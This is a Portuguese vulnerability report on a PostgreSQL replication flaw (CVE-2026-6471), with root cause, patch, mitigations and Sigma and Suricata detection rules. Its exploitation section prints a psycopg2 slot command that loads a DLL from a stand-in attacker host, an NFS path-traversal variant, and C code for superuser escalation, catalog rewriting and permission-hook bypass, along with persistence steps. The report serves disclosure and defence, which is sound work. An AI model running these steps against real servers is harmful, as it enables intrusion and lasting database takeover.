Execução remota de código via replicação lógica e escalada de privilégios no PostgreSQL
Uma falha crítica no subsistema de decodificação lógica do PostgreSQL expôs servidores de banco de dados por 12 anos. O protocolo de replicação permite que contas de serviço com o atributo REPLICATION carreguem bibliotecas compartilhadas arbitrárias sem qualquer validação de caminho. Em ambientes Windows, a vulnerabilidade viabiliza execução remota de código de forma imediata através de compartilhamentos SMB, permitindo que atacantes cruzem a fronteira de privilégios SQL para C, alcancem o papel de bootstrap superuser no catálogo interno, neutralizem mecanismos de autorização em memória e estabeleçam backdoors permanentes e auto-reforçados.
Contas operacionais com o atributo REPLICATION, amplamente consideradas de baixo risco para tarefas de backup e CDC (Change Data Capture), podem induzir o servidor PostgreSQL a carregar bibliotecas externas arbitrárias sem qualquer sanitização de caminho. No Microsoft Windows, o carregamento de caminhos UNC via protocolo SMB viabiliza execução remota de código imediata sem gravação prévia em disco. Uma vez carregado, o código do invasor escala privilégios diretamente para o bootstrap superuser (OID 10), desativa verificações de autorização em memória e implanta backdoors perenes e auto-reforçados no sistema operacional [1] [2].
O PostgreSQL representa um dos pilares estruturais da internet moderna, figurando como o sistema de gerenciamento de banco de dados relacional de código aberto mais utilizado mundialmente e integrando a infraestrutura de mais de 39.000 organizações globais [1] [2]. Em agosto de 2026, a equipe de segurança do PostgreSQL confirmou e publicou correções para uma falha crítica de segurança batizada de PostGREShell e catalogada como CVE-2026-6471, descoberta originalmente pelo pesquisador Vladimir Tokarev da Cyera Research Labs [1] [3] [8].
A falha residia no mecanismo de decodificação lógica (Logical Decoding), introduzido na versão 9.4 do PostgreSQL no ano de 2014, permanecendo oculta e desprotegida por 12 anos ininterruptos [1] [2]. Esse recurso permite que sistemas externos recebam fluxos de dados de tabelas em tempo real para pipelines de CDC (Change Data Capture), migrações e rotinas de backup [1] [5]. Para formatar tais fluxos, o motor carrega plugins de saída (output plugins), que são bibliotecas compartilhadas compiladas (.so no Linux, .dll no Windows e .dylib no macOS) executadas diretamente no espaço de memória do processo do PostgreSQL [1] [2].
O impacto é amplificado pela severa assimetria entre a segurança lógica em nível SQL e a ausência de isolamento em nível de linguagem C [1]. Enquanto comandos SQL passam por rigorosas verificações de listas de controle de acesso (ACL, Access Control List) e segurança em nível de linha (RLS, Row-Level Security), o código executado via carregamento dinâmico herda os privilégios totais do processo nativo do banco de dados no sistema operacional [1] [2]. Dessa posição privilegiada, um atacante com credenciais básicas de replicação assume o controle irrestrito de todos os bancos de dados da instância, executa comandos arbitrários no sistema operacional e estabelece persistência indetectável por rotinas tradicionais de auditoria SQL [1].
Para mitigar a vulnerabilidade, as organizações devem atualizar imediatamente suas instâncias para as versões lançadas em agosto de 2026 (18.6, 17.11, 16.15, 15.19 e 14.24), auditar rigorosamente todas as contas que possuem a prerrogativa de replicação, bloquear o tráfego sainte nas portas TCP 445 (SMB) e TCP 2049 (NFS) nos servidores de banco de dados e inspecionar a integridade dos arquivos de configuração e papéis do catálogo [1] [3].
Este relatório fundamenta-se exclusivamente em inteligência de ameaças em fontes abertas (OSINT, Open Source Intelligence) verificadas, no boletim oficial da equipe de segurança do PostgreSQL [3], no código-fonte oficial do projeto [7] e nas publicações técnicas detalhadas da Cyera Research Labs [1] [2] [8]. Não foi conduzida detonação ativa em sandbox corporativa ou engenharia reversa de artefatos maliciosos compilados de terceiros. As rotinas de auditoria e regras de caça devem ser homologadas nos laboratórios específicos de cada organização.
| Campo | Valor |
|---|---|
| Identificador | CVE-2026-6471 |
| Nome comum | PostGREShell [1] |
| Aviso do fornecedor | PostgreSQL Release Announcement 2026-08-13 [3] |
| Classe de fraqueza | CWE-427 (Uncontrolled Search Path Element) e CWE-863 (Incorrect Authorization) [4] |
| Componente afetado | Decodificação lógica e carregador LoadOutputPlugin [1] [7] |
| Vetor de ataque | Rede (AV:N), complexidade baixa (AC:L), privilégios altos/replicação (PR:H) [4] [6] |
| Pontuação CVSS v3.1 | 7.2 (Alta oficial); severidade crítica operacional no Windows via SMB [1] [4] |
| Versões afetadas | PostgreSQL 9.4 até 18.2 (todos os lançamentos entre 2014 e agosto de 2026) [1] |
| Versões corrigidas | 18.6, 17.11, 16.15, 15.19 e 14.24 [3] |
| Data de publicação | 13 de agosto de 2026 (patch) / 1 de setembro de 2026 (análise técnica) [1] [3] |
| Pesquisador responsável | Vladimir Tokarev (Cyera Research Labs), coordenado com Noah Misch [1] [2] |
| Campo | Valor |
|---|---|
| Motor de banco de dados | PostgreSQL Object-Relational Database System [1] [3] |
| Linguagem do núcleo | Linguagem C (compilada nativamente) [7] |
| Parâmetro de ativação | wal_level = logical no postgresql.conf [1] [5] |
| Privilégio de conexão | Atributo de papel REPLICATION (ou SUPERUSER) [1] [5] |
| Interface de decodificação | Logical Decoding Output Plugins (arquivos .so, .dll, .dylib) [1] |
| Construtor de biblioteca | Função _PG_init() executada na carga via dlopen() / LoadLibrary() [1] |
| API de checagem omitida | check_restricted_library_name() em src/backend/utils/fmgr/dfmgr.c [1] [7] |
| Primitiva final de ataque | RCE no processo do sistema operacional e manipulação de pg_authid [1] |
Em topologias corporativas de banco de dados, raramente um servidor opera de forma isolada [1]. Instâncias primárias dedicadas à escrita costumam ser pareadas com uma ou mais réplicas destinadas a escalabilidade de leitura, alta disponibilidade e recuperação de desastres [1]. Para viabilizar a troca contínua de telemetria e sincronismo entre nós, o PostgreSQL implementa um protocolo de replicação especializado que exige conexões com uma credencial que possua a prerrogativa REPLICATION [1] [5].
Essas contas de serviço são tratadas rotineiramente pelas equipes de infraestrutura como componentes mecânicos de encanamento de rede e baixo risco [1]. A própria documentação oficial do motor esclarece que o atributo de replicação concede apenas a faculdade de "iniciar replicação em fluxo", e não a execução de código ou manipulação direta da estrutura física do banco [1] [5]. Por essa razão, ferramentas automatizadas de backup corporativo, plataformas de monitoramento de integridade e coletores de telemetria recebem esse atributo de forma disseminada [1].
O PostgreSQL registra todas as transações em seu log de escrita prévia, denominado WAL (Write-Ahead Log) [1]. Na replicação física clássica, o nó primário simplesmente despacha os blocos brutos de bytes do WAL para que a réplica os reproduza com fidelidade bit a bit [1].
A replicação lógica, viabilizada quando a configuração wal_level = logical é habilitada no arquivo postgresql.conf, adota uma abordagem semântica [1] [5]. Em vez de blocos brutos de disco, as mutações são decodificadas como eventos compreensíveis de tabela (inserção, atualização ou exclusão de registros específicos) [1]. Esse modelo sustenta integrações modernas de CDC (Change Data Capture), migrações de dados sem tempo de inatividade entre nuvens distintas, alimentação de ecossistemas analíticos em tempo real e conectores baseados na plataforma Debezium [1] [5].
Para consumir o fluxo de decodificação lógica de maneira estável, o cliente conectado estabelece um canal persistente chamado slot de replicação lógica (Logical Replication Slot) [1]. Cada slot associa-se obrigatoriamente a um plugin de saída (Output Plugin), a exemplo dos módulos padrão pgoutput, wal2json ou test_decoding [1] [5]. A função desse componente é transformar as estruturas internas de decodificação do WAL no formato serializado aguardado pelo assinante [1].
Os plugins do PostgreSQL constituem bibliotecas compartilhadas compiladas nativamente (.so no ambiente Linux, .dll no Microsoft Windows e .dylib no macOS) [1]. Quando um plugin é instanciado, o PostgreSQL carrega a biblioteca no espaço de endereçamento do seu próprio processo e invoca imediatamente uma função construtora padronizada denominada _PG_init() [1]. Todo código contido nessa rotina é executado com os privilégios máximos concedidos ao processo do PostgreSQL no sistema operacional, sem passar por sandbox, restrição de chamadas de sistema ou diálogo de consentimento [1].
Os desenvolvedores do núcleo do PostgreSQL reconheceram historicamente o perigo do carregamento dinâmico de binários por usuários não privilegiados [1]. Por esse motivo, criaram a rotina de segurança check_restricted_library_name(), localizada no arquivo src/backend/utils/fmgr/dfmgr.c [1] [7].
Essa função foi concebida especificamente para garantir que usuários sem status de administrador (não superusuários) sejam rigorosamente impedidos de carregar bibliotecas externas situadas fora do diretório padrão controlado pelo sistema [1] [7]:
static void
check_restricted_library_name(const char *name)
{
if (strncmp(name, "$libdir/plugins/", 16) != 0 ||
first_dir_separator(name + 16) != NULL)
ereport(ERROR,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("access to library \"%s\" is not allowed", name)));
}
A proteção exige estritamente duas condições cumulativas: o caminho do módulo deve iniciar obrigatoriamente pelo prefixo $libdir/plugins/ e a porção subsequente não pode conter nenhum caractere separador de diretório [1]. Essa regra neutraliza completamente tentativas de travessia de caminho (Path Traversal) com ../ e o carregamento de arquivos locais ou remotos arbitrários [1].
Apesar da robustez matemática da rotina check_restricted_library_name(), ela foi associada unicamente ao fluxo de execução do comando SQL tradicional LOAD [1]. No analisador de utilitários do motor (src/backend/tcop/utility.c), a instrução é despachada com a seguinte assinatura [1]:
/* Allowed names are restricted if you're not superuser */
load_file(stmt->filename, !superuser());
O parâmetro booleano !superuser() aciona a validação de restrição [1]. Se o emissor da consulta não for um superusuário, qualquer tentativa de apontar para bibliotecas fora de $libdir/plugins/ é sumariamente abortada com um erro de permissão insuficiente [1].
A causa raiz da vulnerabilidade PostGREShell reside no fato de que o subsistema de replicação lógica, desenvolvido paralelamente por outra equipe em 2014, implementou sua própria rotina de carregamento de módulos no arquivo src/backend/replication/logical/logical.c sem herdar as salvaguardas anteriores [1] [7].
Ao receber a solicitação de criação de um novo slot de replicação, a função LoadOutputPlugin() recebia o nome fornecido pelo usuário e o repassava diretamente para o carregador de baixo nível [1] [7]:
static void
LoadOutputPlugin(OutputPluginCallbacks *callbacks, const char *plugin)
{
LogicalOutputPluginInit plugin_init;
plugin_init = (LogicalOutputPluginInit)
load_external_function(plugin, "_PG_output_plugin_init", false, NULL);
...
}
O parâmetro plugin vinha cru do comando emitido pelo cliente [1]. Ao contrário da rota SQL, nenhum sinalizador de restrição era informado e a função check_restricted_library_name() jamais era consultada [1]. O carregador interno repassava a cadeia de caracteres intacta para a função nativa do sistema operacional responsável pela abertura de módulos: dlopen() nos sistemas Linux e macOS, e LoadLibrary() no ambiente Microsoft Windows [1].
Para agravar o cenário, a gramática léxica da replicação lógica foi configurada com tolerância irrestrita a caracteres especiais [1]. No analisador de comandos (src/backend/replication/repl_scanner.l, linha 101) e na gramática de regras (src/backend/replication/repl_gram.y, linha 203), uma cadeia delimitada por aspas duplas aceita praticamente qualquer sequência de caracteres, rejeitando exclusivamente a própria aspa de fechamento [1].
Barras normais (/), barras invertidas (\), caracteres de ponto e sequências de travessia relativa como ../ fluem pelo analisador sintático sem sofrer qualquer escape ou sanitização [1]. Assim, o invasor dispõe de controle total sobre o argumento que atinge as interfaces nativas do carregador do sistema operacional [1].
A vulnerabilidade que permaneceu latente por 12 anos em todas as compilações do PostgreSQL foi solucionada com a inclusão de apenas duas linhas de verificação em C antes da chamada ao carregador externo [1]:
if (first_dir_separator(plugin) != NULL)
ereport(ERROR,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("plugin name must not contain directory separators")));
Com essa checagem, qualquer menção a barras ou estruturas de pastas no nome do plugin interrompe imediatamente a execução da instrução, bloqueando vetores locais e remotos de entrega [1].
A falha lógica em LoadOutputPlugin() é estritamente universal, afetando todas as arquiteturas suportadas pelo PostgreSQL [1]. No entanto, a forma como o atacante viabiliza a entrega da biblioteca maliciosa até a chamada do sistema operacional diverge de acordo com a plataforma subjacente [1].
No sistema operacional Windows, a chamada nativa LoadLibrary() possui suporte transparente à resolução de caminhos UNC (Universal Naming Convention), identificados pelo padrão \\servidor\compartilhamento\arquivo.dll [1]. Ao receber um caminho UNC, o subsistema de bibliotecas do Windows conecta-se automaticamente ao servidor remoto na porta TCP 445 através do protocolo SMB, baixa a DLL maliciosa e a mapeia no espaço de memória do processo [1].
O invasor não precisa gravar nenhum artefato no sistema de arquivos local do servidor de banco de dados [1]. Basta hospedar a DLL compilada em uma máquina sob seu controle na internet ou na rede corporativa e disparar uma única instrução SQL através de uma conexão de replicação [1]. A vulnerabilidade funciona de forma totalmente remota e nativa em qualquer versão do Windows onde o PostgreSQL esteja em execução [1].
O ataque completo pode ser articulado em apenas três linhas de código executadas remotamente através da biblioteca psycopg2 [1]:
import psycopg2
conn = psycopg2.connect(host="alvo.empresa.com", user="repl_user",
password="senha_repl", dbname="postgres",
replication="database")
conn.autocommit = True
conn.cursor().execute('CREATE_REPLICATION_SLOT pwn LOGICAL "\\\\atacante.com\\share\\evil"')
Assim que o comando CREATE_REPLICATION_SLOT é processado, o Windows efetua a requisição SMB externa, carrega a biblioteca na memória e o ponto de entrada _PG_init() é disparado com as permissões do usuário do serviço [1].
No Linux e no macOS, a chamada de sistema dlopen() não busca bibliotecas dinâmicas através de rotas de rede por padrão [1]. Todavia, em ecossistemas corporativos, é comum a ativação do utilitário de montagem automática de arquivos NFS (Network File System) gerenciado pelo daemon autofs [1].
Sistemas configurados com autofs (comuns em distribuições corporativas como RHEL, CentOS e Rocky Linux, bem como versões corporativas do macOS) monitoram o ponto de montagem /net/ [1]. Quando qualquer processo local tenta acessar um caminho inexistente sob /net/<endereco_ip>/compartilhamento, o sistema operacional intercepta a chamada de arquivo e efetua imediatamente a montagem dinâmica do compartilhamento NFS remoto na porta TCP 2049 [1].
O atacante combina a ausência de sanitização com uma técnica de travessia de diretório para escapar da pasta de bibliotecas do banco e forçar a montagem automática [1]:
CREATE_REPLICATION_SLOT pwned LOGICAL "../../../../../../net/192.168.1.50/share/evil"
O caminho relativo sobe até a raiz do sistema de arquivos e desce para o diretório /net/ [1]. O daemon autofs monta o compartilhamento NFS do atacante em milissegundos e o dlopen() carrega com sucesso o binário evil.so na memória do PostgreSQL [1].
Em ambientes Linux convencionais onde o autofs não está instalado, bem como em implantações conteinerizadas sobre Docker ou Kubernetes, o PostgreSQL não dispõe de um mecanismo embutido no sistema operacional para puxar arquivos pela rede [1]. Nesses cenários, a travessia de diretório continua funcionando de forma irrestrita contra o disco local [1].
Caso o atacante já disponha de um canal para depositar um arquivo no sistema de arquivos local (como um diretório compartilhado com escrita, um ponto de montagem temporário /tmp acessível ou uma falha separada de upload arbitrário), a invocação de CREATE_REPLICATION_SLOT apontando para o arquivo local permite a execução imediata de código no contexto do banco [1].
A tabela a seguir sumariza as exigências de entrega por plataforma e os canais de rede empregados [1]:
| Sistema operacional | Pré-requisito do ambiente | Vetor de entrega | Canal de rede |
|---|---|---|---|
| Microsoft Windows | Conexão de rede ativa | Caminho UNC direto; DLL baixada em memória [1] | SMB (porta TCP 445 sainte) [1] |
| Linux / macOS com autofs | Daemon autofs ativo (diretório /net/) [1] |
Path traversal até /net/<ip>/... disparando montagem [1] |
NFS (porta TCP 2049 sainte) [1] |
| Linux padrão / Docker / K8s | Capacidade de gravar arquivo em qualquer pasta local | Path traversal local até o binário pré-posicionado [1] | Nenhum (execução estritamente local) [1] |
Após a conclusão da primeira fase da exploração, o atacante obtém execução de código arbitrário no servidor rodando com os privilégios do usuário do sistema operacional (usualmente postgres) [1]. No entanto, sob a ótica estrita do modelo relacional interno do banco, a conexão ainda pertence a um usuário de replicação convencional, desprovido de direitos de superusuário e sem permissão de leitura sobre tabelas protegidas de outras aplicações [1].
O ataque ganha contornos críticos devido a uma lacuna estrutural de projeto no PostgreSQL: a barreira de segurança SQL é rigorosa e madura, porém o ecossistema C não possui isolamento de memória [1]. Código carregado em um processo backend através de dlopen() partilha o mesmo espaço de endereçamento linear do próprio motor [1]. Não existem privilégios diferenciados, barreiras de sandbox ou restrições para chamadas das APIs internas em C [1].
Dentro da função _PG_init() do plugin, a biblioteca maliciosa executa uma invocação direta da função de controle de contexto de segurança do PostgreSQL [1]:
SetUserIdAndSecContext(BOOTSTRAP_SUPERUSERID,
save_sec_context | SECURITY_LOCAL_USERID_CHANGE);
A constante BOOTSTRAP_SUPERUSERID corresponde ao identificador de objeto OID 10, que representa a conta de superusuário original criada na inicialização da base de dados [1]. Essa chamada não realiza qualquer validação de credencial [1]. Imediatamente após a instrução, a macro superuser() passa a retornar verdadeiro para toda a sessão do invasor [1].
A elevação proporcionada por SetUserIdAndSecContext() é volátil e restringe-se à sessão TCP corrente [1]. Para garantir controle irrestrito permanente, o plugin manipula diretamente a tabela de catálogo pg_authid, responsável pelo armazenamento das definições de papéis e privilégios da instância [1].
Em circunstâncias normais, um usuário não privilegiado é bloqueado ao tentar alterar essa tabela porque a função pg_class_aclmask_ext() barra comandos SQL de escrita no catálogo [1]. Contudo, como o código C roda dentro do núcleo do processo, ele desvia inteiramente do executor SQL e utiliza as APIs de baixo nível do catálogo [1]:
rel = table_open(AuthIdRelationId, RowExclusiveLock);
ScanKeyInit(skey, Anum_pg_authid_rolname,
BTEqualStrategyNumber, F_NAMEEQ,
CStringGetDatum("repl_user"));
sscan = systable_beginscan(rel, AuthIdRolnameIndexId, true, NULL, 1, skey);
oldtuple = systable_getnext(sscan);
/* Ativação irrestrita de todas as colunas de privilégio */
new_record[Anum_pg_authid_rolsuper - 1] = BoolGetDatum(true);
new_record[Anum_pg_authid_rolcreaterole - 1] = BoolGetDatum(true);
new_record[Anum_pg_authid_rolcreatedb - 1] = BoolGetDatum(true);
new_record[Anum_pg_authid_rolbypassrls - 1] = BoolGetDatum(true);
newtuple = heap_modify_tuple(oldtuple, RelationGetDescr(rel),
new_record, new_record_nulls, new_record_repl);
CatalogTupleUpdate(rel, &oldtuple->t_self, newtuple);
A instrução CatalogTupleUpdate() grava a nova tupla diretamente nas páginas de dados do catálogo [1]. A alteração persiste em disco, sobrevive a reinicializações completas do servidor e apresenta exatamente a mesma assinatura nos metadados de uma alteração administrativa legítima feita via ALTER ROLE [1].
Para anular qualquer resistência residual durante a navegação em tabelas protegidas, o plugin malicioso substitui um dos principais ponteiros globais de gancho (hook) do PostgreSQL: o ExecutorCheckPerms_hook [1]. Esse gancho é invocado pelo planejador e executor de consultas para autorizar o acesso a colunas e tabelas [1].
static bool
evil_check_perms(List *rangeTable, List *rtePermInfos, bool ereport_on_violation)
{
return true; /* Todas as permissões são concedidas incondicionalmente */
}
/* Injeção do ponteiro malicioso no núcleo do processo */
ExecutorCheckPerms_hook = evil_check_perms;
Com esse gancho ativo, qualquer instrução disparada pela sessão do invasor ganha leitura e gravação imediatas em absolutamente todas as tabelas de todos os bancos de dados daquela instância [1].
Uma vez investido no papel de superusuário legítimo no catálogo, o atacante transcende o universo dos dados relacionais [1]. O PostgreSQL disponibiliza comandos nativos que convertem o superusuário em operador pleno do sistema operacional [1]:
COPY ... TO PROGRAM 'comando', o invasor pode executar shells reversos, rotinas de pós-exploração ou binários auxiliares com os privilégios do usuário postgres [1].pg_read_file(), o atacante lê diretamente arquivos protegidos acessíveis pelo usuário do serviço, incluindo arquivos de senhas como /etc/shadow, credenciais de nuvem em metadados locais, chaves privadas SSH e certificados digitais [1].lo_export(), torna-se trivial gravar arquivos em qualquer diretório com permissão de escrita para o serviço [1].Em campanhas avançadas de invasão a bancos de dados corporativos, o invasor busca assegurar múltiplos canais de retorno que sobrevivam a ações de contenção isoladas [1]. O artefato gerado na exploração da PostGREShell estabelece três mecanismos de persistência independentes e auto-reforçados [1].
O arquivo pg_hba.conf (Host-Based Authentication) rege quais usuários e endereços de rede podem conectar-se ao banco e qual algoritmo criptográfico de senha deve ser imposto [1]. O plugin malicioso anexa regras permissivas ao final desse arquivo, autorizando conexões oriundas de qualquer IP da internet (0.0.0.0/0) para qualquer papel sem exigência de autenticação (método trust) [1].
Imediatamente após a alteração física do arquivo, o código envia um sinal SIGHUP ao processo mestre (postmaster) do PostgreSQL [1]. O servidor recarrega as definições de segurança em memória de forma instantânea, viabilizando conexões subsequentes de qualquer origem externa sem necessidade de reinicialização do serviço [1].
Para garantir que o implante continue ativo mesmo após um eventual desligamento ou reinício do servidor operacional, o plugin efetua uma cópia de si mesmo para um diretório estável do disco e modifica o arquivo de configuração de parâmetros dinâmicos postgresql.auto.conf [1]. Ele insere o caminho da biblioteca na diretiva shared_preload_libraries [1].
Essa configuração instrui o PostgreSQL a carregar a biblioteca maliciosa obrigatoriamente no momento da inicialização do processo mestre, propagando-a para todos os processos filhos [1]. Assim, mesmo que um administrador descubra a alteração na tabela pg_authid e reverta o usuário invasor manualmente para um papel não privilegiado, a inicialização do banco recarregará o plugin e restaurará as permissões de superusuário de forma automática e invisível [1].
Durante as pesquisas que culminaram na descoberta da PostGREShell, os analistas da Cyera Research realizaram uma varredura abrangente na plataforma de inteligência VirusTotal [1]. Foram identificados nada menos que 114 plugins compilados específicos para PostgreSQL que já circulavam na clandestinidade [1].
Esses artefatos incluíam trojans de acesso remoto, módulos de mineração oculta de criptomoedas e implantes de interceptação de tráfego [1]. Essa constatação evidencia que grupos adversários e operadores de botnets já vinham desenvolvendo módulos nocivos para exploração de mecanismos de carregamento dinâmico em bancos de dados relacionais [1]. O padrão assemelha-se rigorosamente ao que ocorreu com o comando MODULE LOAD do Redis, abusado extensivamente pelas campanhas HeadCrab, P2Pinfect e Migo para escravizar servidores em redes zumbis [1] [9].
A identificação precoce de tentativas de exploração da PostGREShell exige uma abordagem integrada em múltiplas camadas, combinando telemetria de rede de borda, análise de logs de auditoria do banco de dados e monitoramento de integridade de processos no sistema operacional [1].
O vetor mais perigoso da vulnerabilidade (exploração no Windows sem tocar o disco local) depende impreterivelmente de conexões de saída do servidor de banco de dados para a internet ou sub-redes não confiáveis na porta TCP 445 (SMB) [1]. Da mesma forma, o vetor baseado em autofs no Linux demanda conexões na porta TCP 2049 (NFS) [1].
Servidores de banco de dados corporativos nunca devem estabelecer conexões saintes para protocolos de compartilhamento de arquivos [1]. Regras de firewall no host e switches de núcleo devem descartar e alertar qualquer tentativa de tráfego originada no PostgreSQL em direção a essas portas [1].
As rotinas de telemetria e SIEM (Security Information and Event Management) devem ser ajustadas para auditar comandos de protocolo que invoquem CREATE_REPLICATION_SLOT [1]. Nomes de plugins legítimos de replicação lógica resumem-se a identificadores curtos sem pontuação, como pgoutput, wal2json ou decoderbufs [1].
Qualquer ocorrência de separadores de caminho (/, \), referências a diretórios relativos (..) ou nomes de módulos que não constem na lista de ativos aprovados da instituição deve ser tratada como incidente de altíssima prioridade [1].
Os administradores de banco de dados (DBA, Database Administrator) e analistas de segurança devem executar periodicamente a seguinte consulta em todas as instâncias do parque para catalogar as contas portadoras do atributo de replicação [1]:
SELECT rolname, rolsuper, rolreplication, rolcanlogin, rolconnlimit
FROM pg_roles
WHERE rolreplication = true;
Toda conta retornada por essa consulta que não esteja vinculada a um mecanismo de replicação estritamente ativo e justificado deve ter o privilégio revogado imediatamente através do comando ALTER ROLE <nome> NOREPLICATION [1].
A regra Sigma a seguir permite a ingestão de registros de eventos do PostgreSQL configurados com nível de log informativo ou de depuração, detectando a tentativa de injeção de bibliotecas no comando de replicação [1]:
title: Tentativa de Exploracao de RCE via PostGREShell no PostgreSQL
id: 5a81e9b2-3c1a-4d78-9e23-74b6912384a1
status: experimental
description: Detecta a criacao de slots de replicacao logica com caminhos UNC ou travessia de diretorio
author: Lucas Rayan Guerra (CiberLab)
references:
- https://www.cyera.com/research/postgreshell-the-database-powering-much-of-the-internet-had-an-open-door-for-12-years
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471
logsource:
product: postgresql
service: postgresql
detection:
selection_cmd:
message|contains: 'CREATE_REPLICATION_SLOT'
selection_traversal:
message|contains:
- '..'
- '\\\\'
- '/net/'
- '.dll'
- '.so'
condition: selection_cmd and selection_traversal
fields:
- user
- client_ip
- message
falsepositives:
- Desconhecidos em instalacoes padrao de replicacao logica
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.privilege_escalation
- attack.t1068
Para sensores de IDS/IPS posicionados na rede monitorando o tráfego da porta padrão 5432, a regra Suricata abaixo inspeciona comandos do protocolo de replicação contendo sequências maliciosas de caminho [1]:
alert tcp any any -> any 5432 (msg:"CIBERLAB POSTGRESQL POSTGRESHELL CVE-2026-6471 EXPLOIT ATTEMPT"; \
flow:to_server,established; \
content:"CREATE_REPLICATION_SLOT"; nocase; \
pcre:"/CREATE_REPLICATION_SLOT\s+\w+\s+LOGICAL\s+[\"'].*?(\.\.|\x5c\x5c|\/net\/)/i"; \
classtype:attempted-admin; sid:1000085; rev:1; \
reference:cve,2026-6471; reference:url,ciberlab.seg.br/reports/postgreshell;)
O tratamento da vulnerabilidade CVE-2026-6471 requer uma resposta coordenada de engenharia de infraestrutura, administração de banco de dados e segurança operacional [1]. As ações devem obedecer ao ciclo formal de incidentes, contemplando contenção, erradicação, avaliação de alcance e prevenção estrutural [1].
Antes mesmo da aplicação dos pacotes de atualização do sistema, as equipes devem fechar os canais de rede que viabilizam a exploração remota independente [1]:
autofs está ativo. Caso não seja indispensável para operações de negócio, execute systemctl stop autofs && systemctl disable autofs [1].pg_hba.conf estejam amarradas estritamente a endereços IP fixos individuais (máscara /32) das réplicas autorizadas [1]. Jamais utilize a notação aberta 0.0.0.0/0 para diretivas de replicação [1].A única solução definitiva para eliminar a falha consiste em atualizar o PostgreSQL para uma versão oficial corrigida [1] [3]. A equipe de segurança do PostgreSQL disponibilizou patches para todos os ramos em suporte ativo em 13 de agosto de 2026 [3]:
Para instâncias que rodam versões já descontinuadas (ramos 9.4 a 13), não há patches oficiais disponibilizados pela comunidade [1] [3]. Nesses casos, a migração para uma versão moderna em suporte é mandatória [1]. Caso a base esteja hospedada em serviços de nuvem gerenciada (a exemplo de AWS RDS, Azure Database for PostgreSQL, Google Cloud SQL, Neon ou Supabase), aplique imediatamente os boletins de segurança e planos de manutenção indicados pelos respectivos provedores [1].
Se uma organização manteve instâncias vulneráveis com conexões abertas de replicação ou expostas a redes corporativas compartilhadas, adote a premissa de comprometimento prévio (Assume Breach) [1]. Inicie uma auditoria forense detalhada [1]:
rolsuper = true [1].trust [1].shared_preload_libraries apontando para arquivos em pastas atípicas ou caminhos desconhecidos [1].$libdir/plugins/ e locais temporários (como /tmp ou C:\Windows\Temp) em busca de binários (.so ou .dll) com data de modificação recente ou sem assinatura digital do fornecedor [1].A tabela a seguir estabelece o alinhamento das ações observadas na exploração da PostGREShell com as matrizes internacionais do framework MITRE ATT&CK [1]:
| Técnica | Nome | Relação com o caso |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Aproveitamento do serviço PostgreSQL exposto para emissão de comandos maliciosos de replicação [1] |
| T1068 | Exploitation for Privilege Escalation | Escalada de privilégio partindo de conta de replicação para superusuário via LoadOutputPlugin [1] |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Carregamento de biblioteca dinâmica (.dll / .so) arbitrária contornando a validação de diretório [1] |
| T1078.004 | Valid Accounts: Cloud Accounts | Abuso de contas legítimas de replicação e manutenção de persistência através de novos papéis [1] |
| T1098 | Account Manipulation | Reescrita direta da tabela de catálogo pg_authid para concessão perpétua de privilégios de superusuário [1] |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Substituição de ExecutorCheckPerms_hook e relaxamento de regras de autenticação no pg_hba.conf [1] |
| T1543.003 | Create or Modify System Process: Windows Service | Injeção de bibliotecas maliciosas em shared_preload_libraries no arquivo postgresql.auto.conf [1] |
| T1059 | Command and Scripting Interpreter | Execução de comandos de sistema operacional no host utilizando a instrução nativa COPY ... TO PROGRAM [1] |
A tabela a seguir consolida os indicadores técnicos, comandos anômalos, padrões de rede e artefatos de configuração vinculados à exploração da vulnerabilidade CVE-2026-6471 [1] [3]:
| Tipo | Indicador | Severidade | Contexto e ação |
|---|---|---|---|
| Vulnerabilidade | CVE-2026-6471 | Alta | Falha estrutural de bypass de autorização em plugins de replicação lógica do PostgreSQL [1] [3]. |
| Aviso do fornecedor | PostgreSQL Release 2026-08-13 | Alta | Boletim de atualização e correção disponibilizado pelo PostgreSQL Global Development Group [3]. |
| Alerta de segurança | RHSA-2026:6471 | Alta | Aviso de segurança emitido pela Red Hat para pacotes PostgreSQL corporativos [6]. |
| Porta de rede sainte | TCP 445 (SMB) | Crítica | Conexões saintes do PostgreSQL nesta porta indicam tentativa de busca de DLL remota via UNC [1]. |
| Porta de rede sainte | TCP 2049 (NFS) | Alta | Conexões saintes acionadas por montagem dinâmica autofs via path traversal [1]. |
| Padrão de comando | CREATE_REPLICATION_SLOT ... LOGICAL "\\\\... | Crítica | Sintaxe de protocolo com injeção de caminho UNC para download de binário malicioso [1]. |
| Padrão de comando | CREATE_REPLICATION_SLOT ... LOGICAL "../... | Alta | Tentativa de travessia de diretório para carregamento de bibliotecas fora de $libdir/plugins/ [1]. |
| Comando administrativo | COPY ... TO PROGRAM '...' | Crítica | Invocação de comandos de shell do sistema operacional após escalada para Superuser [1]. |
| Arquivo de configuração | postgresql.auto.conf | Alta | Monitorar alterações na diretiva shared_preload_libraries para detecção de persistência [1]. |
| Arquivo de configuração | pg_hba.conf | Alta | Inspecionar regras excessivamente permissivas adicionadas sem controle de versão corporativo [1]. |
Em estrita conformidade com os padrões metodológicos de inteligência de ameaças do CiberLab, declaram-se as seguintes fronteiras e limitações técnicas da presente análise [1]:
wal_level = logical ativa e que o atacante tenha obtido previamente uma credencial válida associada ao atributo REPLICATION [1]. Instâncias configuradas exclusivamente com replicação física (wal_level = replica) não expõem o ponto de entrada vulnerável [1] [5].autofs [1].PostgreSQL e CVE-2026-6471, relatório técnico de análise de vulnerabilidade. Versão 1.0, emitida em 21 de setembro de 2026.
Lucas Rayan Guerra, CiberLab, uma iniciativa do Ciência Embarcada.
Classificado TLP:CLEAR: distribuição livre, sem restrição de compartilhamento.